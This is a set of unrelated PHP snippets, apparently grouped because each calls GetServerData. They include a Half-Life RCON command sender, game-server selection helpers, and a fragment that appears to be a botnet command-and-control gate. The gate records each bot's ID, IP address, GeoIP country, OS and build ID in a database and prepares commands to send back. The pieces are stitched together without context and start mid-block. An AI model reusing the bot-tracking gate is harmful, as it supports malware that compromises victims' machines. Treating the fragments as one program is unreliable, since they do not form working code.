function HalfLife_Rcon($ip, $port, $rcon, $command, &$challenge, $challenged = 0) { # No point challenging more than we have too. if (strlen($challenge) < 5) { $challenge = HalfLife_GetChallenge($ip, $port); $challenged++; } $cmd = "ÿÿÿÿrcon {$challenge} \"{$rcon}\" {$command}"; if (!($serverdata = GetServerData($cmd, $ip, $port))) { return false; } $serverdata = trim($serverdata); if (eregi('^Bad challenge.', $serverdata)) { # Try for the challenge twice, if that fails... fail? if ($challenged < 2) { $challenge = ''; $serverdata = HalfLife_Rcon($ip, $port, $rcon, $command, $challenge, $challenged); } else { return false; } } elseif (eregi('^Bad rcon_password.', $serverdata)) { return false; } return $serverdata; }
function GetServerSelection($selectedServerID, &$selectedServer) { global $site; global $_POST; global $_GET; global $errNotFound; $serverTable = GetServerData(); if (array_key_exists($selectedServerID . NO_PERSISTENCE_FLAG, $_POST)) { $selectedServerName = $_POST[$selectedServerID . NO_PERSISTENCE_FLAG]; foreach ($serverTable as $serverKey => $serverRec) { if ($serverRec->name == $selectedServerName) { $selectedServer = $serverKey; break; } } } else { if (array_key_exists($selectedServerID, $_GET)) { $selectedServer = $_GET[$selectedServerID]; } } if (!array_key_exists($selectedServer, $serverTable)) { throw new Exception(sprintf($errNotFound, $selectedServer)); } }
} if (!isset($bot_id) || empty($bot_id) || !isset($data_type) || empty($data_type)) { if (defined('D_DEBUG')) { logerror("Error: E2"); } else { error404(); } } } httpNoCache(); Db_Mysql::init(MYSQL_HOST, MYSQL_LOGIN, MYSQL_PASSWORD, MYSQL_DB); $db = Db_Mysql::getInstance(); $db->query('SET NAMES "utf8" COLLATE "utf8_unicode_ci";'); $db->debug = defined('D_DEBUG'); $bot_id = $data_type = $raw_data = ''; GetServerData(); $bot_id = mysql_real_escape_string($bot_id); $raw_data = mysql_real_escape_string($raw_data); $cmds = ""; try { if ($data_type == SRV_TYPE_REPORT) { //--------------------------------------------------------------------------------------------------------------------- parse_str($raw_data, $REC); $ip = getIP(); $gi = geoip_open('geo/GeoIPCity.dat', GEOIP_STANDARD); $gip = GeoIP_record_by_addr($gi, $ip); if (empty($gip->country_code)) { $gip->country_code = 'UNKNOWN'; } $botCountry = $gip->country_code; $bot = array('botName' => $bot_id, 'botIp' => ip2long($ip), 'botAccess' => strtotime('now'), 'botCountry' => $botCountry, 'botSystem' => $REC['os'], 'botBuildId' => $REC['bid']);
function GetDataForServer($serverKey) { $servers = GetServerData(); if (!array_key_exists($serverKey, $servers)) { return NULL; } else { return $servers[$serverKey]; } }